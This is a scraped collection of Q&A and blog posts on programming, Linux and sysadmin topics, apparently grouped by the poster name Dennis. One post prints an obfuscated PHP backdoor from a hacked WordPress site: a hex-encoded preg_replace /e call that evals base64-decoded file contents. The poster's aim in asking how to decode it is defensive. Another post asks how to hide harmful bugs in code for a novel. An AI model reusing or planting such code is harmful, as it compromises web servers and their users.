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• google earth 7, 32bit in 12.10 runs without error but there is no image (globe)

  - by Dennis

  Everything seemed to install fine. I can start google earth and all layers are available, I can even zoom in and look at 3-D buildings. But there is absolutely no image data displayed at all. If you look at the whole globe the outlines are there on an invisible globe. As you zoom in the base looks dark grey almost black but there is no image. I have tried. Tools Options Graphics Safe Mode Tools Options Texture colors all combinations Tools Options Cache (tried several changes to the numbers) lspci shows Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03) Running on a Dell Inspiron 6000 laptop (1.5Gb memory)

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• Approach for packing 2D shapes while minimizing total enclosing area

  - by Dennis

  Not sure on my tags for this question, but in short .... I need to solve a problem of packing industrial parts into crates while minimizing total containing area. These parts are motors, or pumps, or custom-made components, and they have quite unusual shapes. For some, it may be possible to assume that a part === rectangular cuboid, but some are not so simple, i.e. they assume a shape more of that of a hammer or letter T. With those, (assuming 2D shape), by alternating direction of top & bottom, one can pack more objects into the same space, than if all tops were in the same direction. Crude example below with letter "T"-shaped parts: ***** xxxxx ***** x ***** *** ooo * x vs * x vs * x vs * x o * x * xxxxx * x * x o xxxxx xxx Right now we are solving the problem by something like this: using CAD software, make actual models of how things fit in crate boxes make estimates of actual crate dimensions & write them into Excel file (1) is crazy amount of work and as the result we have just a limited amount of possible entries in (2), the Excel file. The good things is that programming this is relatively easy. Given a combination of products to go into crates, we do a lookup, and if entry exists in the Excel (or Database), we bring it out. If it doesn't, we say "sorry, no data!". I don't necessarily want to go full force on making up some crazy algorithm that given geometrical part description can align, rotate, and figure out best part packing into a crate, given its shape, but maybe I do.. Question Well, here is my question: assuming that I can represent my parts as 2D (to be determined how), and that some parts look like letter T, and some parts look like rectangles, which algorithm can I use to give me a good estimate on the dimensions of the encompassing area, while ensuring that the parts are packed in a minimal possible area, to minimize crating/shipping costs? Are there approximation algorithms? Seeing how this can get complex, is there an existing library I could use? My thought / Approach My naive approach would be to define a way to describe position of parts, and place the first part, compute total enclosing area & dimensions. Then place 2nd part in 0 degree orientation, repeat, place it at 180 degree orientation, repeat (for my case I don't think 90 degree rotations will be meaningful due to long lengths of parts). Proceed using brute force "tacking on" other parts to the enclosing area until all parts are processed. I may have to shift some parts a tad (see 3rd pictorial example above with letters T). This adds a layer of 2D complexity rather than 1D. I am not sure how to approach this. One idea I have is genetic algorithms, but I think those will take up too much processing power and time. I will need to look out for shape collisions, as well as adding extra padding space, since we are talking about real parts with irregularities rather than perfect imaginary blocks. I'm afraid this can get geometrically messy fairly fast, and I'd rather keep things simple, if I can. But what if the best (practical) solution is to pack things into different crate boxes rather than just one? This can get a bit more tricky. There is human element involved as well, i.e. like parts can go into same box and are thus a constraint to be considered. Some parts that are not the same are sometimes grouped together for shipping and can be considered as a common grouped item. Sometimes customers want things shipped their way, which adds human element to constraints. so there will have to be some customization.

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• How To Deliberately Hide Bugs In Code (for use in a Novel I'm writing) [closed]

  - by Dennis Murphy

  I'm writing a novel in which an evil programmer wants to include subtle errors in his code that are likely to go unnoticed by his supervisor during a code review and unlikely to be caught by a compiler, yet cause damage at possibly random times when the program is executed by an end-user. I only need a couple of examples, which may be exotic but which have to be easily explainable to non-technical readers. Procedural or object-oriented examples would be equally helpful. (It's been a VERY long time since I've written any code.) Thanks for your help.

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• Strategy to use two different measurement systems in software

  - by Dennis

  I have an application that needs to accept and output values in both US Custom Units and Metric system. Right now the conversion and input and output is a mess. You can only enter in US system, but you can choose the output to be US or Metric, and the code to do the conversions is everywhere. So I want to organize this and put together some simple rules. So I came up with this: Rules user can enter values in either US or Metric, and User Interface will take care of marking this properly All units internally will be stored as US, since the majority of the system already has most of the data stored like that and depends on this. It shouldn't matter I suppose as long as you don't mix unit. All output will be in US or Metric, depending on user selection/choice/preference. In theory this sounds great and seems like a solution. However, one little problem I came across is this: There is some data stored in code or in the database that already returns data like this: 4 x 13/16" screws, which means "four times screws". I need the to be in either US or Metric. Where exactly do I put the conversion code for doing the conversion for this unit? The above already mixing presentation and data, but the data for the field I need to populate is that whole string. I can certainly split it up into the number 4, the 13/16", and the " x " and the " screws", but the question remains... where do I put the conversion code? Different Locations for Conversion Routines 1) Right now the string is in a class where it's produced. I can put conversion code right into that class and it may be a good solution. Except then, I want to be consistent so I will be putting conversion procedures everywhere in the code at-data-source, or right after reading it from the database. The problem though is I think that my code will have to deal with two systems, all throughout the codebase after this, should I do this. 2) According to the rules, my idea was to put it in the view script, aka last change to modify it before it is shown to the user. And it may be the right thing to do, but then it strikes me it may not always be the best solution. (First, it complicates the view script a tad, second, I need to do more work on the data side to split things up more, or do extra parsing, such as in my case above). 3) Another solution is to do this somewhere in the data prep step before the view, aka somewhere in the middle, before the view, but after the data-source. This strikes me as messy and that could be the reason why my codebase is in such a mess right now. It seems that there is no best solution. What do I do?

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• How to cleanly add after-the-fact commits from the same feature into git tree

  - by Dennis

  I am one of two developers on a system. I make most of the commits at this time period. My current git workflow is as such: there is master branch only (no develop/release) I make a new branch when I want to do a feature, do lots of commits, and then when I'm done, I merge that branch back into master, and usually push it to remote. ...except, I am usually not done. I often come back to alter one thing or another and every time I think it is done, but it can be 3-4 commits before I am really done and move onto something else. Problem The problem I have now is that .. my feature branch tree is merged and pushed into master and remote master, and then I realize that I am not really done with that feature, as in I have finishing touches I want to add, where finishing touches may be cosmetic only, or may be significant, but they still belong to that one feature I just worked on. What I do now Currently, when I have extra after-the-fact commits like this, I solve this problem by rolling back my merge, and re-merging my feature branch into master with my new commits, and I do that so that git tree looks clean. One clean feature branch branched out of master and merged back into it. I then push --force my changes to origin, since my origin doesn't see much traffic at the moment, so I can almost count that things will be safe, or I can even talk to other dev if I have to coordinate. But I know it is not a good way to do this in general, as it rewrites what others may have already pulled, causing potential issues. And it did happen even with my dev, where git had to do an extra weird merge when our trees diverged. Other ways to solve this which I deem to be not so great Next best way is to just make those extra commits to the master branch directly, be it fast-forward merge, or not. It doesn't make the tree look as pretty as in my current way I'm solving this, but then it's not rewriting history. Yet another way is to wait. Maybe wait 24 hours and not push things to origin. That way I can rewrite things as I see fit. The con of this approach is time wasted waiting, when people may be waiting for a fix now. Yet another way is to make a "new" feature branch every time I realize I need to fix something extra. I may end up with things like feature-branch feature-branch-html-fix, feature-branch-checkbox-fix, and so on, kind of polluting the git tree somewhat. Is there a way to manage what I am trying to do without the drawbacks I described? I'm going for clean-looking history here, but maybe I need to drop this goal, if technically it is not a possibility.

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• Does OO, TDD, and Refactoring to Smaller Functions affect Speed of Code?

  - by Dennis

  In Computer Science field, I have noticed a notable shift in thinking when it comes to programming. The advice as it stands now is write smaller, more testable code refactor existing code into smaller and smaller chunks of code until most of your methods/functions are just a few lines long write functions that only do one thing (which makes them smaller again) This is a change compared to the "old" or "bad" code practices where you have methods spanning 2500 lines, and big classes doing everything. My question is this: when it call comes down to machine code, to 1s and 0s, to assembly instructions, should I be at all concerned that my class-separated code with variety of small-to-tiny functions generates too much extra overhead? While I am not exactly familiar with how OO code and function calls are handled in ASM in the end, I do have some idea. I assume that each extra function call, object call, or include call (in some languages), generate an extra set of instructions, thereby increasing code's volume and adding various overhead, without adding actual "useful" code. I also imagine that good optimizations can be done to ASM before it is actually ran on the hardware, but that optimization can only do so much too. Hence, my question -- how much overhead (in space and speed) does well-separated code (split up across hundreds of files, classes, and methods) actually introduce compared to having "one big method that contains everything", due to this overhead? UPDATE for clarity: I am assuming that adding more and more functions and more and more objects and classes in a code will result in more and more parameter passing between smaller code pieces. It was said somewhere (quote TBD) that up to 70% of all code is made up of ASM's MOV instruction - loading CPU registers with proper variables, not the actual computation being done. In my case, you load up CPU's time with PUSH/POP instructions to provide linkage and parameter passing between various pieces of code. The smaller you make your pieces of code, the more overhead "linkage" is required. I am concerned that this linkage adds to software bloat and slow-down and I am wondering if I should be concerned about this, and how much, if any at all, because current and future generations of programmers who are building software for the next century, will have to live with and consume software built using these practices. UPDATE: Multiple files I am writing new code now that is slowly replacing old code. In particular I've noted that one of the old classes was a ~3000 line file (as mentioned earlier). Now it is becoming a set of 15-20 files located across various directories, including test files and not including PHP framework I am using to bind some things together. More files are coming as well. When it comes to disk I/O, loading multiple files is slower than loading one large file. Of course not all files are loaded, they are loaded as needed, and disk caching and memory caching options exist, and yet still I believe that loading multiple files takes more processing than loading a single file into memory. I am adding that to my concern.

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• How do I move my LVM 250 GB root partition to a new 120GB hard disk?

  - by Dennis Schma

  I have the following situation: My current Ubuntu installation is running from an external HDD (250 GB) because I was to lazy to buy an new internal hdd. Now i've got a new internal (120GB) and i want to move everything to the internal. Installing Ubuntu new is out of disscussion because its to peronalized. Luckily (i hope so) the root partition is partitioned with LVM, so i hope i can move the partition to the smaller internal HDD. Is this possible? And where do i find help?

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• After upgrade my webcam mic records fast, high pitched, and squeaky only in Skype (maybe Sound Recorder problem too)

  - by Dennis

  After an upgrade to 11.10 which probably also updated Skype to 2.2.35 (not sure because I never checked the version before) the sound that comes back from an echo test is very high pitched and squeaky. I'm not sure if when in a call if the other person can't hear or just doesn't know what they are hearing. I am using a USB Logitech C250 Audacity records fine, gmail video chat works fine, but if I start sound recorder I get a "Could not negotiate format", followed by "Could not get/set settings from/on resource". I don't know if this is a Skype problem or a wider Pulse problem. My only real needs are the gmail and Audacity, though I have a couple of contacts that I can only Skype with.

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• fullCalendar json with php in "agendaWeek"

  - by Dennis

  <link rel='stylesheet' type='text/css' href='fullcalendar/redmond/theme.css' /> <link rel='stylesheet' type='text/css' href='fullcalendar/fullcalendar.css' /> <script type='text/javascript' src='fullcalendar/jquery/jquery.js'></script> <script type='text/javascript' src='fullcalendar/jquery/ui.core.js'></script> <script type='text/javascript' src='fullcalendar/jquery/ui.draggable.js'></script> <script type='text/javascript' src='fullcalendar/jquery/ui.resizable.js'></script> <script type='text/javascript' src='fullcalendar/fullcalendar.min.js'></script> <script type='text/javascript'> $(document).ready(function() { $('#calendar').fullCalendar({ theme: true, editable: false, weekends: false, allDaySlot: false, allDayDefault: false, slotMinutes: 15, firstHour: 8, minTime: 8, maxTime: 17, height: 600, defaultView: 'agendaWeek', events: "json_events.php", loading: function(bool) { if (bool) $('#loading').show(); else $('#loading').hide(); } }); }); </script> But the informaion will not show up on the "agendaWeek". Can anyone tell me what I am doing wrong. My "json_events.php" code is: <?php $year = date('Y'); $month = date('m'); echo json_encode(array( array( 'id' => 111, 'title' => "Event1", 'start' => "$year-$month-22 8:00", 'end' => "$year-$month-22 12:00", 'url' => "http://yahoo.com/" ), array( 'id' => 222, 'title' => "Event2", 'start' => "$year-$month-22 14:00", 'end' => "$year-$month-22 16:00", 'url' => "http://yahoo.com/" ) )); ?> And it out puts the following: [{"id":111,"title":"Event1","start":"2010-03-22 8:00","end":"2010-03-22 12:00","url":"http:\/\/yahoo.com\/"},{"id":222,"title":"Event2","start":"2010-03-22 14:00","end":"2010-03-22 16:00","url":"http:\/\/yahoo.com\/"}] Please if anyone can help or suggest someone to help me. Thanks, Dennis

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• jQuery and function scope

  - by Jason

  Is this: ($.fn.myFunc = function() { var Dennis = function() { /*code */ } $('#Element').click(Dennis); })(); equivalent to: ($.fn.myFunc = function() { $('#Element').click(function() { /*code */ }); })(); If not, can someone please explain the difference, and suggest the better route to take for both performance, function reuse and clarity of reading. Thanks!

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• EF4 Import/Lookup thousands of records - my performance stinks!

  - by Dennis Ward

  I'm trying to setup something for a movie store website (using ASP.NET, EF4, SQL Server 2008), and in my scenario, I want to allow a "Member" store to import their catalog of movies stored in a text file containing ActorName, MovieTitle, and CatalogNumber as follows: Actor, Movie, CatalogNumber John Wayne, True Grit, 4577-12 (repeated for each record) This data will be used to lookup an actor and movie, and create a "MemberMovie" record, and my import speed is terrible if I import more than 100 or so records using these tables: Actor Table: Fields = {ID, Name, etc.} Movie Table: Fields = {ID, Title, ActorID, etc.} MemberMovie Table: Fields = {ID, CatalogNumber, MovieID, etc.} My methodology to import data into the MemberMovie table from a text file is as follows (after the file has been uploaded successfully): Create a context. For each line in the file, lookup the artist in the Actor table. For each Movie in the Artist table, lookup the matching title. If a matching Movie is found, add a new MemberMovie record to the context and call ctx.SaveChanges(). The performance of my implementation is terrible. My expectation is that this can be done with thousands of records in a few seconds (after the file has been uploaded), and I've got something that times out the browser. My question is this: What is the best approach for performing bulk lookups/inserts like this? Should I call SaveChanges only once rather than for each newly created MemberMovie? Would it be better to implement this using something like a stored procedure? A snippet of my loop is roughly this (edited for brevity): while ((fline = file.ReadLine()) != null) { string [] token = fline.Split(separator); string Actor = token[0]; string Movie = token[1]; string CatNumber = token[2]; Actor found_actor = ctx.Actors.Where(a => a.Name.Equals(actor)).FirstOrDefault(); if (found_actor == null) continue; Movie found_movie = found_actor.Movies.Where( s => s.Title.Equals(title, StringComparison.CurrentCultureIgnoreCase)).FirstOrDefault(); if (found_movie == null) continue; ctx.MemberMovies.AddObject(new MemberMovie() { MemberProfileID = profile_id, CatalogNumber = CatNumber, Movie = found_movie }); try { ctx.SaveChanges(); } catch { } } Any help is appreciated! Thanks, Dennis

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• Ann Arbor Day of .NET 2010 Recap

  - by PSteele

  Had a great time at the Ann Arbor Day of .NET on Saturday.  Lots of great speakers and topics.  And chance to meet up with friends you usually only communicate with via email/twitter. My Presentation I presented "Getting up to speed with C# 3.5 — Just in time for 4.0!".  There's still a lot of devs that are either stuck in .NET 2.0 or just now moving to .NET 3.5.  This presentation gave highlights of a lot of the key features of 3.5.  I had great questions from the audience.  Afterwards, I talked with a few people who are just now getting in to 3.5 and they told me they had a lot of "A HA!" moments when something I said finally clicked and made sense from a code sample they had seen on the web.  Thanks to all who attended! A few people have asked me for the slides and demo.  The slides were nothing more than a table of contents.  90% of the presentation was spent inside Visual Studio demo'ing new techniques.  However, I have included it in the ZIP file with the sample solution.  You can download it here. Dennis Burton on MongoDB I caught Dennis Burton's presentation on MongoDB.  I was really interested in this one as I've missed the last few times Dennis had given it to local user groups.  It was very informative and I want to spend some time learning more about MongoDB.  I'm still an old-school relational guy, but I'm willing to investigate alternatives. Brian Genisio on Prism Since I'm not a Silverlight/WPF guy (yet), I wasn't sure this would interest me.  But I talked with Brian for a couple of minutes before the presentation and he convinced me to catch it.  And I'm glad he did.  Prism looks like a very nice framework for "composable UI's" in Silverlight and WPF.  I like the whole "dependency injection" feel to it.  Nice job Brian! GiveCamp Planning I spent some time Saturday working on things for the upcoming GiveCamp (which is why I only caught a few sessions).  Ann Arbor's Day of .NET and GiveCamp have both been held at Washtenaw Community College so I took some time (along with fellow GiveCamp planners Mike Eaton and John Hopkins) to check out the new location for Ann Arbor GiveCamp this year! In the past, WCC has let us use the Business Education (BE) building for our GiveCamp's.  But this year, they're moving us over to the Morris Lawrence (ML) building.  Let me tell you – this is a step UP!  In the BE building, we were spread across two floors and spread out into classrooms.  Plus, our opening and closing ceremonies were held in the Liberal Arts (LA) building – a bit of a walk from the BE building. In the ML building, we're together for the whole weekend.  We've got a large open area (which can be sectioned off if needed) for everyone to work in:   Right next to that, we have a large area where we can set up tables and eat.  And it helps that we have a wonderful view while eating (yes, that's a lake out there with a fountain): The ML building also has showers (which we'll have access to!) and it's own auditorium for our opening and closing ceremonies. All in all, this year's GiveCamp will be great! Stay tuned to the Ann Arbor GiveCamp website.  We'll be looking for volunteers (devs, designers, PM's, etc…) soon! Technorati Tags: .NET,Day of .NET,GiveCamp,MongoDB,Prism

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• Silverlight Cream for January 04, 2011 -- #1022

  - by Dave Campbell

  In this Issue: Dennis Doomen, Doug Holland, Kunal Chowdhury, Sacha Barber, Paul Sheriff, Mike Snow(-2-), Peter Kuhn(-2-), and Mike Ormond. Above the Fold: Silverlight: "Silverlight: Fixing the BookShelf Sample" Peter Kuhn WP7: "Searching the Windows Phone 7 Marketplace Programmatically" Doug Holland Prism/Cinch: "PRISM 4 Custom Transitioning Region" Sacha Barber Shoutouts: Sacha Barber the author of Cinch asks for some advice from users: Cinch V2 : Question For The Reader Michael Crump introduces us to SnippetManager as a way to organize your Silverlight snippets... I'm thinking any snippet: A better way to organize your Silverlight Code Snippets. Andy Beaulieu announced an update of Physics Helper 4.2 using Farseer 3.2 ... check out the breaking changes though! Dennis Doomen blogged about a new release of his Fluent Assertions: A new year with a new release of Fluent Assertions, with a blog post about it below From SilverlightCream.com: Verifying PropertyChanged events in Silverlight using Fluent Assertions Dennis Doomen release his latest Fluent Assertions for .NET and Silverlight and wrote up a big post about the new event monitoring syntax. Searching the Windows Phone 7 Marketplace Programmatically Doug Holland has a post up on MSDN blogs talking about searching the WP7 Marketplace programmatically... ya know you should be able to do it... here's how. Beginners Guide to Visual Studio LightSwitch (Part - 5) Kunal Chowdhury has Part 5 of a tutorial series on Lightswitch up at SilverlightShow... working with custom validation this time, and for the first time in this series so far actually writes some code! PRISM 4 Custom Transitioning Region Sacha Barber took time to look at Prism4/MEF and Cinch2 and found things to be fine then wrote a custom PRISM region adaptor that uses a TransitionalElement from the Microsoft Transitionals project... code available, blog post to come. Get Application Title from Windows Phone Paul Sheriff has a cool chunk of code up... getting the Application's title programmatically... and other attributes as well, if you were wondering why you might wanna do that. Detecting Users Win7 Mobile Theme Color Mike Snow has a couple as well... first up is how to detect your user's theme... obviously useful if you wanna match it. Selecting an Item in a ComboBox after Adding Items Second for Mike Snow is a general Silverlight issue... setting the selected item on a ComboBox after filling it... if you haven't stumbled across this yet, you will... A Simplified Grid Markup Reloaded Peter Kuhn has a pair of posts up since last time... this first is an extension of Colin Eberhardt's simplified Grid markup system, but it's only useful if you don't plan on using Blend... can we get a show of hands? :) Silverlight: Fixing the BookShelf Sample Next Peter Kuhn has some changes to the Bookshelf code, but more importantly has some excelling tips about shader effects, Effects on Visual Elements and how to make best use of all the above. Displaying HTML Content in Windows Phone 7 Mike Ormond has a WP7 post up describing problems a customer had early on displaying rich text and an attempt to use the WebBrowser control to pull it off and the problems that caused... check out the resultant code, and read the comments as well. Stay in the 'Light! Twitter SilverlightNews | Twitter WynApse | WynApse.com | Tagged Posts | SilverlightCream Join me @ SilverlightCream | Phoenix Silverlight User Group Technorati Tags: Silverlight    Silverlight 3    Silverlight 4    Windows Phone MIX10

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• Silverlight Cream for March 09, 2011 -- #1057

  - by Dave Campbell

  In this Issue: Dennis Doomen, Peter Kuhn, Michael Crump, Joe McBride, Martin Krüger, Jeremy Likness, Manas Patnaik, Jesse Liberty(-2-), WindowsPhoneGeek(-2-). Above the Fold: Silverlight: "A highlighting AutoCompleteBox in Silverlight" Peter Kuhn WP7: "WP7 WatermarkedTextBox custom control" WindowsPhoneGeek Training: "" Shoutouts: Karl Shifflett announced that he and Josh Smith have heard the developers and released a demo: Mole 2010 Demo Released This is a somewhat older post, but the material is good and I was reminded of it while talking to Josh Smith at the MVP summit last week: Advanced MVVM ... money well-spent From SilverlightCream.com: Introducing the Silverlight Cookbook Dennis Doomen unveils a Codeplex site "containing a Silverlight 4 app that includes most of the complexities you might run into" ... I'm tagging this in my WynApse outlookbar... great stuff, Dennis! A highlighting AutoCompleteBox in Silverlight Peter Kuhn took on a task in response to a forum query and created a highlighting AutoCompleteBox, and is giving it to us... this really looks cool, Peter, and great explanation. Taking a look at the Mindscape Phone Elements for WP7. Michael Crump takes a good look at the Mindscape Phone Elements for WP7... and if you read closely you might still be able to get a free license! Windows Phone – “Can’t connect to your phone. Disconnect it, Restart it, then try connecting again.” Joe McBride explains a way out of an issue that many should be seeing as we repave or replace machines... how to get our device recognized on the updated machine... without giving cryptic messages. How to: only with the full visibility of an application in the browser window start an action Martin Krüger continues his journey in starting storyboards and tackles the condition that the application is completely in the browser window prior to the storyboard starting. A Numeric Input Control for Windows Phone 7 Jeremy Likness came up with a great idea for numeric input for WP7 ... you'll smile when you see it, but what a great idea... and a NumericTextBox to go along with it. Performing CRUD on Relational Data (Multiple table) using RIA in SL4 Manas Patnaik has a post up that breaks the normal blog post or demo mold by having two tables with a relational constraint and doing CRUD operations on them. Plenty of diagrams and good information. Select Many: Reactive Extensions’ Mother Of All Operators [Chaining] Jesse Liberty has part 9 in his Rx series up, and is looking at SelectMany this time, and chaining calls. He's using WPF for the sample, but the goodness is all there for us Silverlight guys too. The Full Stack 8–Adding Search to the Phone Client Jesse Liberty and Jon Galloway have part 8 of their Full Stack series up ... this is the MVC3, ASP.NET, Silverlight, and WP7 app development series... this time out they're putting Search in the Phone client. All about ResourceDictionary in WP7 WindowsPhoneGeek is discussing ResourceDictionaries in this post... beginning with What is a ResourceDictionary and continuing out through creating and using one, plus a good comment on merging. WP7 WatermarkedTextBox custom control In his next post, WindowsPhoneGeek walks us through the creation of a WatermarkedTextBox for WP7 right from the derivation from TextBox... very nice tutorial and lots of code/examples. Stay in the 'Light! Twitter SilverlightNews | Twitter WynApse | WynApse.com | Tagged Posts | SilverlightCream Join me @ SilverlightCream | Phoenix Silverlight User Group Technorati Tags: Silverlight    Silverlight 3    Silverlight 4    Windows Phone MIX10

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• GMail suspects confirmation email in stealing personal information

  - by Dennis Gorelik

  When user registers on my web site, web site sends user email confirmation link. Subject: Please confirm your email address Body:Please open this link in your browser to confirm your email address: http://www.postjobfree.com/a/c301718062444f96ba0e358ea833c9b3 This link will expire on: 6/9/2012 8:04:07 PM EST. If my web site sends that email to GMaill (either @gmail.com or another domain that's handled by Google Apps) and that user never emailed to email -- then GMail not only puts the email to spam folder, but also adds prominent red warning:Be careful with this message. Similar messages were used to steal people's personal information. Unless you trust the sender, don't click links or reply with personal information. Learn more That warning really scares many of my users, so they are afraid to open that link and confirm their email. What can I do about it? Ideally I would like that message end up in user's inbox, not spam folder. But at least how do I prevent that scary message? IP address of my mailing server is not blacklisted: http://www.mxtoolbox.com/SuperTool.aspx?action=blacklist%3a208.43.198.72 I use SPF and DKIM signature. Below is the email that ended up in spam folder with that scary red message. Delivered-To: [email protected] Received: by 10.112.84.98 with SMTP id x2csp36568lby; Fri, 8 Jun 2012 17:04:15 -0700 (PDT) Received: by 10.60.25.6 with SMTP id y6mr9110318oef.42.1339200255375; Fri, 08 Jun 2012 17:04:15 -0700 (PDT) Return-Path: Received: from smtp.postjobfree.com (smtp.postjobfree.com. [208.43.198.72]) by mx.google.com with ESMTP id v8si6058193oev.44.2012.06.08.17.04.14; Fri, 08 Jun 2012 17:04:15 -0700 (PDT) Received-SPF: pass (google.com: domain of [email protected] designates 208.43.198.72 as permitted sender) client-ip=208.43.198.72; Authentication-Results: mx.google.com; spf=pass (google.com: domain of [email protected] designates 208.43.198.72 as permitted sender) [email protected]; dkim=pass [email protected] DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; d=postjobfree.com; s=postjobfree.com; h= received:message-id:mime-version:from:to:date:subject:content-type; b=TCip/3hP1WWViWB1cdAzMFPjyi/aUKXQbuSTVpEO7qr8x3WdMFhJCqZciA69S0HB4 Koatk2cQQ3fOilr4ledCgZYemLSJgwa/ZRhObnqgPHAglkBy8/RAwkrwaE0GjLKup 0XI6G2wPlh+ReR+inkMwhCPHFInmvrh4evlBx/VlA= DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=postjobfree.com; s=postjobfree.com; h=content-type:subject:date:to:from:mime-version:message-id; bh=N59EIgRECIlAnd41LY4HY/OFI+v1p7t5M9yP+3FsKXY=; b=J3/BdZmpjzP4I6GA4ntmi4REu5PpOcmyzEL+6i7y7LaTR8tuc2h7fdW4HaMPlB7za Lj4NJPed61ErumO66eG4urd1UfyaRDtszWeuIbcIUqzwYpnMZ8ytaj8DPcWPE3JYj oKhcYyiVbgiFjLujib3/2k2PqDIrNutRH9Ln7puz4= Received: from sv3035 (sv3035 [208.43.198.72]) by smtp.postjobfree.com with SMTP; Fri, 8 Jun 2012 20:04:07 -0400 Message-ID: MIME-Version: 1.0 From: "PostJobFree Notification" To: [email protected] Date: 8 Jun 2012 20:04:07 -0400 Subject: Please confirm your email address Content-Type: multipart/alternative; boundary=--boundary_107_ffa6a9ea-01dc-40f5-a50c-4c3b3d113f08 ----boundary_107_ffa6a9ea-01dc-40f5-a50c-4c3b3d113f08 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Please open this link in your browser to confirm your email addre= ss: =0D=0Ahttp://www.postjobfree.com/a/c301718062444f96ba0e358ea8= 33c9b3 =0D=0AThis link will expire on: 6/9/2012 8:04:07 PM EST. =0D=0A ----boundary_107_ffa6a9ea-01dc-40f5-a50c-4c3b3d113f08 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj1Db250ZW50LVR5cGUgY29udGVu dD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij48L2hlYWQ+DQo8Ym9keT48ZGl2 Pg0KUGxlYXNlIG9wZW4gdGhpcyBsaW5rIGluIHlvdXIgYnJvd3NlciB0byBjb25m aXJtIHlvdXIgZW1haWwgYWRkcmVzczo8YnIgLz48YSBocmVmPSJodHRwOi8vd3d3 LnBvc3Rqb2JmcmVlLmNvbS9hL2MzMDE3MTgwNjI0NDRmOTZiYTBlMzU4ZWE4MzNj OWIzIj5odHRwOi8vd3d3LnBvc3Rqb2JmcmVlLmNvbS9hL2MzMDE3MTgwNjI0NDRm OTZiYTBlMzU4ZWE4MzNjOWIzPC9hPjxiciAvPlRoaXMgbGluayB3aWxsIGV4cGly ZSBvbjogNi85LzIwMTIgODowNDowNyBQTSBFU1QuPGJyIC8+DQo8L2Rpdj48L2Jv ZHk+PC9odG1sPg== ----boundary_107_ffa6a9ea-01dc-40f5-a50c-4c3b3d113f08--

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• Windows installer constantly asking for Word CD

  - by Dennis

  My daughter uses Word and at some point in the past tried to install a feature which needed the install CD. She no longer has the CD, figured she could live without the feature and cancelled the install. However, every time she boots the computer it tries to resume the install and asks for the CD. All you have to do is hit cancel but it seems a bit annoying to me to have to do that each time you boot. How can I get it to permanently abort the install?

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• How to get HP ASM to work under Xen Hypervisor?

  - by Dennis

  I have a HP DL560, currently running Debian Squeeze as dom0 on Xen Hypervisor, and the fans constantly run at 100%. In the past this wasn't a problem because I could install HP's ASM which includes fan management. However since I have installed a xen enabled kernel, the hp-health driver (the piece of ASM that controls the fans) won't start (at boot or manually). Anyone know of any way to make it work? (Or any other method of controlling the fans safely.) Note that the server has four i386 Xeon CPUs, each with its own fan, plus an extra case fan, and all of the fans can be doubled for redundancy. Also everything works fine under Squeeze without the xen-enabled kernel (can still boot the other one and hp-health loads fine on boot).

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• Can't figure out how to make Slitaz USB persistent

  - by Dennis Hodapp

  I installed Slitaz on my USB. However I can't figure out how to make it persistent automatically. There are different sources telling me different ways to make it persistent. One told me to add "slitaz home=usb" to the syslinux.cfg file like this: append initrd=/boot/rootfs.gz rw root=/dev/null vga=normal autologin slitaz home=usb but it didn't work for me. http://www.slitaz.org/en/doc/handbook/liveusb.html gave an example of how to do it manually but I didn't try it and I also want it to happen automatically. custompc.co.uk/features/602451/make-any-pc-your-own-with-linux-on-a-usb-key.html is an older article that also explains how to make the USB persistent but I don't want to try it cause it looks outdated (from 2008) does anyone know the best way to make the USB automatically persistent?

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• How do I decode this WordPress hack?

  - by Dennis Wurster

  I found an offending string in a client's WordPress-powered website, and I just want to know what it does. @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x65\166\x61\154\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\151\x6d\160\x6c\157\x64\145\x28\42\x5c\156\x22\54\x66\151\x6c\145\x28\142\x61\163\x65\66\x34\137\x64\145\x63\157\x64\145\x28\42\x5c\61\x22\51\x29\51\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x64\62\x56\151\x4c\63\x56\172\x5a\130\x4a\172\x4c\172\x49\167\x4d\152\x6b\165\x59\155\x6c\156\x4e\151\x39\172\x61\130\x52\154\x63\171\x39\151\x61\127\x63\62\x4c\63\x42\61\x59\155\x78\160\x59\61\x39\157\x64\107\x31\163\x4c\62\x5a\166\x63\156\x56\164\x4c\62\x4a\151\x4c\127\x6c\165\x59\62\x78\61\x5a\107\x56\172\x4c\62\x70\172\x4c\62\x70\170\x64\127\x56\171\x65\123\x38\165\x59\62\x46\152\x61\107\x55\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75"); Can someone outline the steps it takes to decode this? I know what preg_replace() is, but I don't know how to decode the arguments to the function, or how PHP processes it into something it can make use of.

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• Gist (or other git-backed pastebin) on my own Server?

  - by Jim Dennis

  Does anyone know of a package to allow me to run a clone of gist on my own internal servers? I'd like to encourage our dev. teams to use a GIST like pastebin (with syntax highlighting and, preferably, with a git-based or git compatible backend). However, I want the code to remain within our network. Suggestions? (By the way, I've glanced at things like pygist but that's a client rather than providing the pastebin server side functionality. I suppose one option would be to add support for a Git backend to: pasttle

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• "My Documents" as the first class citizen in "Documents" in Windows 7

  - by Dennis

  In windows 7, you can have a "Document" as a menu on the "Start Menu". However, it lead to sub-items "My Documents" and "Public Documents". As well as only me is using my notebook, "Public Documents" is useless and waste me for a click to the "My Documents". So, my question is -- how do I hack the registry(without hacking DLLs) to make the contents in "My Documents" as the first class citizen in the start menu? PS. after read this, I've removed the "Public Documents" from the library. But still, it takes me one more click

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• find the next due date after today within a group in an Excel PivotTable

  - by Dennis George

